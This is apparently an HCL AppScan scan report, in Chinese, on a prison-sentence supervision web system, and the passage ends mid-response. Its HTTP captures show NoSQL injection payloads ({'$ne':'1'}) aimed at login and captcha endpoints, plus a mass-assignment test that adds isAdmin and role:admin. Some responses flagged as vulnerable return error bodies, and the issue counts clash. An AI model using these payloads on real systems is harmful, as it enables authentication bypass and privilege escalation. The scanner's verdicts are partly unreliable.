

Web Application Report

This report includes important security information about your web application.

安全报告

该报告由 HCL AppScan Standard 创建 10.9.0
扫描开始时间: 2026/3/17 10:11:30

目录

介绍

- 常规信息
- 登陆设置

摘要

- 问题类型
- 有漏洞的 URL
- 修订建议
- 安全风险
- 原因
- WASC 威胁分类

按问题类型分组的问题

- NoSQL 注入 ⁽⁵⁾
- API 成批分配 ⁽¹³⁾
- 具有不安全、不正确或缺少 SameSite 属性的 Cookie ⁽¹⁾
- 加密会话（SSL）Cookie 中缺少 Secure 属性 ⁽¹⁾
- 支持较老的 TLS 版本 ⁽¹⁾
- 检测到 SHA-1 密码套件 ⁽¹⁾
- 跨站点请求伪造 ⁽²⁾
- HTTP Strict-Transport-Security 头缺失或不安全 ⁽¹⁾
- Spring Boot Actuator 端点已公开 ⁽¹²⁾
- “Content-Security-Policy”头缺失 ⁽¹⁾
- “X-Content-Type-Options”头缺失或不安全 ⁽¹⁾
- 会话 cookie 中缺少 HttpOnly 属性 ⁽¹⁾
- 发现可高速缓存的 SSL 页面 ⁽⁸⁾
- 在应用程序中发现不必要的 Http 响应头 ⁽¹⁾
- 检测到隐藏目录 ⁽¹¹⁾
- 过度许可的 CORS 访问测试 ⁽¹⁴⁾

修复方法

- NoSQL 注入
- API 成批分配
- 具有不安全、不正确或缺少 SameSite 属性的 Cookie
- 加密会话（SSL）Cookie 中缺少 Secure 属性
- 支持较老的 TLS 版本
- 检测到 SHA-1 密码套件

- 跨站点请求伪造
- HTTP Strict-Transport-Security 头缺失或不安全
- Spring Boot Actuator 端点已公开
- “Content-Security-Policy”头缺失
- “X-Content-Type-Options”头缺失或不安全
- 会话 cookie 中缺少 HttpOnly 属性
- 发现可高速缓存的 SSL 页面
- 在应用程序中发现不必要的 Http 响应头
- 检测到隐藏目录
- 过度许可的 CORS 访问测试

应用程序数据

- cookie
- JavaScript
- 参数
- 注释
- 已访问的 URL
- 失败的请求
- 已过滤的 URL
- 组件

介绍

该报告包含由 HCL AppScan Standard 执行的 Web 应用程序安全性扫描的结果。

紧急严重性问题:	6
高严重性问题:	13
中等严重性问题:	6
低严重性问题:	50
报告中包含的严重性问题总数:	75
扫描中发现的严重性问题总数:	83

常规信息

扫描文件名称:	区块链+刑罚执行监督系统
扫描开始时间:	2026/3/17 10:11:30
测试策略:	Default
CVSS 版本:	3.1
测试优化级别:	快

主机	10.249.2.1
端口	8090
操作系统:	未知
Web 服务器:	未知
应用程序服务器:	JavaAppServer

登陆设置

登陆方法:	提示
并发登陆:	已启用
会话中检测:	已启用
会话中模式:	szsfj szsfj
跟踪或会话 ID cookie:	JSESSIONID
跟踪或会话 ID 参数:	->"pointJson" ->"token" ->"username" ->"captchaVerification" ->"clientId" ->"ts" ->"pch"

登陆序列:

https://10.249.2.1:8090/
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo
https://10.249.2.1:8090/admin-api/system/auth/logout
https://10.249.2.1:8090/index
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name?name=从
法科技
https://10.249.2.1:8090/admin-api/system/captcha/check
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/system/auth/login
https://10.249.2.1:8090/admin-api/system/auth/get-permission-info
https://10.249.2.1:8090/admin-api/system/user/get?id=993
https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
https://10.249.2.1:8090/admin-api/system/captcha/get
https://10.249.2.1:8090/admin-api/chain/shouye/gzList

摘要

问题类型 16

TOC

问题类型		问题的数量	
紧	NoSQL 注入	6	
高	API 成批分配	13	
中	具有不安全、不正确或缺少 SameSite 属性的 Cookie	1	
中	加密会话（SSL）Cookie 中缺少 Secure 属性	1	
中	支持较老的 TLS 版本	1	
中	检测到 SHA-1 密码套件	1	
中	跨站点请求伪造	2	
低	HTTP Strict-Transport-Security 头缺失或不安全	1	
低	Spring Boot Actuator 端点已公开	12	
低	"Content-Security-Policy" 头缺失	1	
低	"X-Content-Type-Options" 头缺失或不安全	1	
低	会话 cookie 中缺少 HttpOnly 属性	1	
低	发现可高速缓存的 SSL 页面	8	
低	在应用程序中发现不必要的 Http 响应头	1	
低	检测到隐藏目录	11	
低	过度许可的 CORS 访问测试	14	

有漏洞的 URL 35

TOC

URL		问题的数量	
紧	https://10.249.2.1:8090/admin-api/chain/fkh-jg/listByYjmcldOrYjld	3	
紧	https://10.249.2.1:8090/admin-api/chain/fkh-mc/page	3	
紧	https://10.249.2.1:8090/admin-api/chain/shouye/gzList	3	
紧	https://10.249.2.1:8090/admin-api/system/auth/login	4	
紧	https://10.249.2.1:8090/admin-api/system/captcha/check	3	
紧	https://10.249.2.1:8090/admin-api/system/captcha/get	3	
高	https://10.249.2.1:8090/admin-api/chain/fkh-gz/page	3	
高	https://10.249.2.1:8090/admin-api/chain/fkh/page	2	
高	https://10.249.2.1:8090/admin-api/chain/jx/page	2	
高	https://10.249.2.1:8090/admin-api/chain/jxs-gz/page	2	
高	https://10.249.2.1:8090/admin-api/chain/jxs/page	2	
高	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page	2	
高	https://10.249.2.1:8090/admin-api/chain/zf-zfbxx/page	2	
中	https://10.249.2.1:8090/	17	
中	https://10.249.2.1:8090/admin-api/system/auth/logout	4	
低	https://10.249.2.1:8090/admin-api/chain/fkh-gz/	1	
低	https://10.249.2.1:8090/admin-api/chain/fkh-jg/	1	

低	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/	1	
低	https://10.249.2.1:8090/admin-api/chain/jfkh/	1	
低	https://10.249.2.1:8090/admin-api/chain/jx/	1	
低	https://10.249.2.1:8090/admin-api/chain/jxs-gz/	1	
低	https://10.249.2.1:8090/admin-api/chain/jxs/	1	
低	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/	1	
低	https://10.249.2.1:8090/admin-api/chain/zf-zfbxx/	1	
低	https://10.249.2.1:8090/admin-api/system/	1	
低	https://10.249.2.1:8090/admin-api/system/dict-data/	1	
低	https://10.249.2.1:8090/admin-api/system/user/	1	
低	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/getById	1	
低	https://10.249.2.1:8090/admin-api/chain/shouye/aggregate	1	
低	https://10.249.2.1:8090/admin-api/system/auth/get-permission-info	1	
低	https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo	1	
低	https://10.249.2.1:8090/admin-api/system/dict-data/list-all-simple	1	
低	https://10.249.2.1:8090/admin-api/system/dict-data/page	1	
低	https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name	1	
低	https://10.249.2.1:8090/admin-api/system/user/get	1	

修订建议 16

TOC

修复任务		问题的数量	
高	确保用户输入的类型正确并对其进行正确转义	6	
高	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。	13	
中	向所有敏感的 cookie 添加“Secure”属性	1	
中	对证书使用不同签名算法。请参阅“修订建议”以获取特定服务器指示信息。	1	
中	更改服务器的受支持密码套件	1	
中	查看将 SameSite Cookie 属性配置为推荐值的可能解决方案	1	
中	验证“Referer”头的值，并对每个提交的表单使用 one-time-nonce	2	
低	修改“Access-Control-Allow-Origin”头以仅获取允许的站点	14	
低	向所有会话 cookie 添加“HttpOnly”属性	1	
低	实施具有长“max-age”的 HTTP Strict-Transport-Security 策略	1	
低	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去	11	
低	将 Spring 服务器端点配置为仅允许访问已认证的用户	12	
低	将服务器配置为使用值为“nosniff”的“X-Content-Type-Options”头	1	
低	将服务器配置为使用安全策略的“Content-Security-Policy”头	1	
低	请勿允许敏感信息泄漏。	1	
低	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。	8	

安全风险 9

TOC

风险		问题的数量	
紧	可能会查看、修改或删除数据库条目和表	6	
高	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制	13	
中	通过将 Cookie 限制为第一方或同一站点上下文来防止 Cookie 信息泄漏，如果没有额外的保护措施（如反 CSRF 令牌），攻击可能会扩展为跨站点请求伪造 (CSRF) 攻击。	1	
中	可能会窃取在加密的会话期间发送的用户和会话信息（cookie）	1	

中	可能会窃取或操纵客户会话和 cookie，它们可能用于假冒合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务	3	
中	可能会强制最终用户在当前其已通过身份验证的 Web 应用程序上执行不必要的操作。	2	
低	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置	38	
低	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息	17	
低	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点	11	

原因

14

TOC

原因	问题的数量
紧 未对用户输入正确执行危险字符清理	6
高 如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。	13
中 具有不正确、不安全或缺少 SameSite 属性的敏感 Cookie	1
中 Web 应用程序通过 SSL 发送不安全的 cookie	1
中 Web 服务器或应用程序服务器是以不安全的方式配置的	25
中 应用程序使用的认证方法不充分	2
低 Web 应用程序编程或配置不安全	18
低 Web 应用程序设置了缺少 HttpOnly 属性的会话 cookie	1
低 浏览器可能已将敏感信息高速缓存	8

WASC 威胁分类

TOC

威胁	问题的数量
服务器配置错误	3
跨站点请求伪造	2
信息泄露	51
API 的成批分配漏洞	13
SQL 注入	6

按问题类型分组的问题

NoSQL 注入	
严重性:	紧急
CVSS 分数:	9.4
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/captcha/check
实体:	check (Page)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	确保用户输入的类型正确并对其进行正确转义

差异: 主体 从以下位置进行控制: {"captchaType":"blockPuzzle","pointJson":{"yCUwt9EWtHmZRIuxrh9BF4FMzoGWNxpGpckS13C61w=","token":"944c54c7d4d2497bb32122fb0bd619b1"}} 至: {"captchaType":{"\$ne":"1"},"pointJson":{"yCUwt9EWtHmZRIuxrh9BF4FMzoGWNxpGpckS13C61w=","token":"944c54c7d4d2497bb32122fb0bd619b1"}}

推理: AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应:

```
POST /admin-api/system/captcha/check HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 132
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99b0f11f8a1731d4e

{
  "captchaType": {
    "$ne": "1"
  },
  "pointJson": "yCUwt9EWtHmZRIuxrh9BF4FMzoGWNxpGpckS13C61w=",
  "token": "944c54c7d4d2497bb32122fb0bd619b1"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:30 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
```

```
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01jukri034bmull7c76zow3bele5521.node0; Path=/

{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

NoSQL 注入	
严重性：	紧急
CVSS 分数：	9.4
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/auth/login
实体：	login (Page)
风险：	可能会查看、修改或删除数据库条目和表
原因：	未对用户输入正确执行危险字符清理
固定值：	确保用户输入的类型正确并对其进行正确转义

差异：主体 从以下位置进行控制：

```
{ "username": "WYnhQ4l1NCcv3rOkYOE3Uw==", "password": "***CONFIDENTIAL 1***", "captchaVerification": "aAwOvUwMv8RZ5tiur7xeCI5FmmbaV9Jf64i7HvaXqbnJYbMgYJvbpVG33Lqx8s8vAmGYKFXycY8DSgvRevsSw==" }
```

至：

```
{ "username": { "$ne": "1" }, "password": "***CONFIDENTIAL 1***", "captchaVerification": "aAwOvUwMv8RZ5tiur7xeCI5FmmbaV9Jf64i7HvaXqbnJYbMgYJvbpVG33Lqx8s8vAmGYKFXycY8DSgvRevsSw==" }
```

推理：AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应：

```
POST /admin-api/system/auth/login HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 178
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99b611f8a1731d4e

{
  "username": {
    "$ne": "1"
  },
  "password": "***CONFIDENTIAL 1***",
  "captchaVerification": "aAwOvUwMv8RZ5tiur7xeCI5FmmbaV9Jf64i7HvaXqbnJYbMgYJvbpVG33Lqx8s8vAmGYKFXycY8DSgvRevsSw=="
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:42 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
```

```
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node083dzk2s522lat4foarw2izup5582.node0; Path=/

{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

NoSQL 注入	
严重性:	紧急
CVSS 分数:	9.4
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/captcha/get
实体:	get (Page)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	确保用户输入的类型正确并对其进行正确转义

差异: 主体 从以下位置进行控制: {"captchaType":"blockPuzzle","clientId":"slider-50d4df43-a745-4634-8fd3-30b6bed0e612","ts":1773714183156} 至: {"captchaType":{"\$ne":"1"},"clientId":"slider-50d4df43-a745-4634-8fd3-30b6bed0e612","ts":1773714183156}

推理: AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应:

```
POST /admin-api/system/captcha/get HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 107
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99b0f11f8a1731d4e

{
  "captchaType": {
    "$ne": "1"
  },
  "clientId": "slider-50d4df43-a745-4634-8fd3-30b6bed0e612",
  "ts": 1773714183156
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:42 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
```

```
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node017b097z4k97m1gobvgyrifpo5585.node0; Path=/
```

```
{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

NoSQL 注入	
严重性:	紧急
CVSS 分数:	9.4
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page
实体:	page (Page)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	确保用户输入的类型正确并对其进行正确转义

差异: 主体 从以下位置进行控制: {"yjId":"","pageNo":1,"pageSize":10,"zfbh":"","xm":"","jqmc":"","ah":"","hyjg":""} 至: {"yjId":{"\$ne": "1" },"pageNo":1,"pageSize":10,"zfbh":{" \$ne": "1" },"xm":{" \$ne": "1" },"jqmc":{" \$ne": "1" },"ah":{" \$ne": "1" },"hyjg":{" \$ne": "1" }}

推理: AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应:

```
POST /admin-api/chain/jfkh-mc/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 154
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmxy0p5504.node0

{
  "yjId": {
    "$ne": "1"
  },
  "pageNo": 1,
  "pageSize": 10,
  "zfbh": {
    "$ne": "1"
  },
  "xm": {
    "$ne": "1"
  },
  "jqmc": {
    "$ne": "1"
  },
  "ah": {
    "$ne": "1"
  },
  "hyjg": {
    "$ne": "1"
  }
}
```

```
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0brij8o2d3j4blk19szsmr4cck373.node0; Path=/

{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

NoSQL 注入	
严重性:	紧急
CVSS 分数:	9.4
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/IAR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmcIdOrYjId
实体:	listByYjmcIdOrYjId (Page)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	确保用户输入的类型正确并对其进行正确转义

差异：主体 从以下位置进行控制：{"yjmcId":"C61871F8067EB211B9A8BAAC1B34635E","yjId":"02D767F8067EB21153B0196C665C8177"} 至：
{"yjmcId":{"\$ne":"1"},"yjId":"02D767F8067EB21153B0196C665C8177"}

推理：AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应：

```
POST /admin-api/chain/jfkh-jg/listByYjmcIdOrYjId HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99b11f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 67
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0

{
  "yjmcId": {
    "$ne": "1"
  },
  "yjId": "02D767F8067EB21153B0196C665C8177"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
```

```
Date: Tue, 17 Mar 2026 02:24:08 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0105n06w6x19ke1m8u2b31dwosd375.node0; Path=/

{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

NoSQL 注入

严重性: **紧急**

CVSS 分数: 9.4

CVSS 向量: [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X](#)

URL: <https://10.249.2.1:8090/admin-api/chain/shouye/gzList>

实体: gzList (Page)

风险: 可能会查看、修改或删除数据库条目和表

原因: 未对用户输入正确执行危险字符清理

固定值: 确保用户输入的类型正确并对其进行正确转义

差异: 主体 从以下位置进行控制: `{"pch":"202505","pageNo":6,"pageSize":10}` 至: `{"pch":{"$ne":"1"},"pageNo":6,"pageSize":10}`

推理: AppScan 请求的文件可能不是应用程序的合法部分。响应状态为“200 OK”。这表示测试成功检索了所请求的文件的内容。

测试请求和响应:

```
POST /admin-api/chain/shouye/gzList HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 47
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhzpmx0p5504.node0

{
  "pch": {
    "$ne": "1"
  },
  "pageNo": 6,
  "pageSize": 10
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:25:04 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
```

```
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0d43ivjnllef81vgauhzhyhb5p607.node0; Path=/
```

```
{
  "code": 500,
  "data": null,
  "msg": "系统异常"
}
```

问题 1 / 13

TOC

API 成批分配

严重性： 高

CVSS 分数： 7.3

CVSS 向量： AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MAX

URL: <https://10.249.2.1:8090/admin-api/system/captcha/get>

实体： get (Page)

风险： API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制

原因： 如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。

固定值： 避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： {"captchaType":"blockPuzzle","clientId":"slider-50d4df43-a745-4634-8fd3-30b6bed0e612","ts":1773714183156} 至：

{"captchaType":"blockPuzzle","clientId":"slider-50d4df43-a745-4634-8fd3-30b6bed0e612","ts":1773714183156,"isAdmin":true,"isso":true,"role":"admin"}

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/system/captcha/get HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 149
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmjx0p5504.node0
Authorization: Bearer 1596fc2c254a640ff99bf11f8a1731d4e
```

```
{
  "captchaType": "blockPuzzle",
  "clientId": "slider-50d4df43-a745-4634-8fd3-30b6bed0e612",
  "ts": 1773714183156,
  "isAdmin": true,
  "isso": true,
  "role": "admin"
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:32:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
```


Set-Cookie: JSESSIONID=node01ayj9v35bt6vx1qbs02uwo2u815792.node0; Path=/

```
{
